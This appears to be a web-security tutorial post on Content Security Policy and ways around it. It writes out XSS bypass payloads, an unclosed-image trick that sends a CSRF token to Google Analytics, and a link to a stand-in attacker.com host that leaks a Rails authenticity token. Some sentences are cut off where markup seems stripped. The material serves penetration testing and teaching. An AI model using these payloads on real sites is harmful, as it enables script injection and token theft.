Content Security Policy (short: CSP) is a security standard that helps to detect and stop certain types of client-based attacks like Cross Site Scripting and Click-jacking from executing in trusted web page context . For enabling CSP the web server must return the
Content-Security-Policy' HTTP header, or alternatively a
<meta> element used for configuring a policy .
You can use Googles CSP Evaluator to quickly check if a misconfiguration exists (I will also write a little Python script for that). A declaration like
script-src 'unsafe-inline' allows to inject inline-script like
<script>alert(1);</script> and therefore does not prevent XSS.
Common tips and tricks
- Declaring a CSP via
<meta>element allows you to block communication done by the web application (or a denial of service ). This might come handy if you want to restrict an applications redirection .
- Sometimes different endpoints of the same domain aren't implementing CSP. Therefore check carefully the HTTP response headers
- If you need a PoC but don't have a CSP bypass, use
IE11to demonstrate your vulnerability!
A CSP denying
unsafe-inline for outer origins can be bypassed if two vulnerable (e.g. XSS; one have to be reflected
inline or under
GET test.com/vulnerable=<script>alert(1)</script> //blocked GET sub.test.com/vulnerable=alert(1) //blocked GET test.com/vulnerable=<script src=//sub.test.com/vulnerable=alert(1)></script> //bypassed
A CSP that whitelists
google-analytics.com can be used for logging sensitive content by injecting a non-closed
<img> element into the page. This method requires to 1. setup a Google Analytics account and then 2. injecting the image referencing to the account into the DOM by e.g. using a HTML Injection or XSS .
GET test.com/vulnerable=<img src='//google-analytics.com/collect/[...]?ea= (DOM view): <img src='//google-analytics.com/collect/[...]?ea= <input type='hidden' name='token' value='0x000001337'>
The whole element will be captured including the token until the next apostrophe
' (which closes the
A CSP can be bypassed for leaking CSRF tokens when a custom JS event-handler and a HTML Injection are available. Let's assume there is a
authenticity_token (Rails) which submits a default POST-request within the application (anti-CSRF secured). By spawning an
<a> element including that handler
<a href="attacker.com/log" data-href="POST">Click</a> we are able to fetch the users token after interaction without violating the CSP .